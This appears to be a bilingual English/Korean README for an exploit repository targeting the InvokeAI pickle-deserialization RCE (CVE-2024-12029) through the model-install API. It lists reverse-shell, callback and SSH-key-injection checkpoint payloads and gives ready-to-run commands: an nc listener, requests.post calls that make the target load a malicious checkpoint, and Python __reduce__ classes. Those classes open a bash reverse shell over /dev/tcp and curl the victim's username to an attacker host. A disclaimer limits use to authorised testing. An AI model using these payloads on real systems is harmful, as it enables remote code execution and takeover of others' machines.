
This repository contains alternative payload approaches for the InvokeAI RCE vulnerability (CVE-2024-12029) when SSH key injection fails. The payloads are designed to test if pickle deserialization is actually occurring and provide alternative access methods.
이 저장소는 SSH 키 주입이 실패할 때 InvokeAI RCE 취약점(CVE-2024-12029)에 대한 대안 페이로드 접근 방식을 포함합니다. 페이로드는 pickle 역직렬화가 실제로 발생하는지 테스트하고 대체 접근 방법을 제공하도록 설계되었습니다.
SSH 키 주입 페이로드가 성공적으로 전달(Status 201)되었지만 SSH 접속에 여전히 비밀번호가 필요한 경우, 이는 다음 중 하나를 나타냅니다:
payload_reverse_bash.ckpt (89 bytes) - Bash 리버스 셸payload_reverse_python.ckpt (267 bytes) - Python 리버스 셸payload_reverse_nc.ckpt (70 bytes) - Netcat 리버스 셸payload_callback_test.ckpt (115 bytes) - 역직렬화 확인을 위한 HTTP 콜백payload_test.ckpt (90 bytes) - 간단한 파일 생성 테스트payload_alt_exec.ckpt (223 bytes) - 대체 실행 방식payload_ssh_simple.ckpt (271 bytes) - 리눅스 호환 SSH 키 주입kali_reverse_test.py - 종합 테스트 스위트reverse_shell_payload.py - 리버스 셸 페이로드 생성python web_server.py --port 8000
# Copy kali_reverse_test.py to Kali and run:
python3 kali_reverse_test.py
# Choose option 1 to test callback
# Start listener on Kali:
nc -lvnp 4444
# Send reverse shell payload:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_reverse_bash.ckpt', 'inplace': 'true'}, json={})"
# Test basic command execution:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_test.ckpt', 'inplace': 'true'}, json={})"
# Verify file creation:
ssh [email protected] 'cat /tmp/payload_test.txt'
/tmp/payload_test.txt 확인class CallbackTestPayload:
def __reduce__(self):
import os
command = 'curl "http://192.168.45.168:8000/callback?success=1&user=$(whoami)"'
return (os.system, (command,))
class ReverseShellPayload:
def __reduce__(self):
import os
command = f'bash -c "bash -i >& /dev/tcp/192.168.45.168/4444 0>&1"'
return (os.system, (command,))
class TestPayload:
def __reduce__(self):
import os
return (os.system, ('echo "PAYLOAD_EXECUTED_$(date)" > /tmp/payload_test.txt',))
torch.load() 취약점이 저장소는 교육 및 공인된 보안 테스트 목적으로만 제공됩니다. 사용자는 시스템을 테스트하기 전에 적절한 권한을 획득했는지 확인할 책임이 있습니다.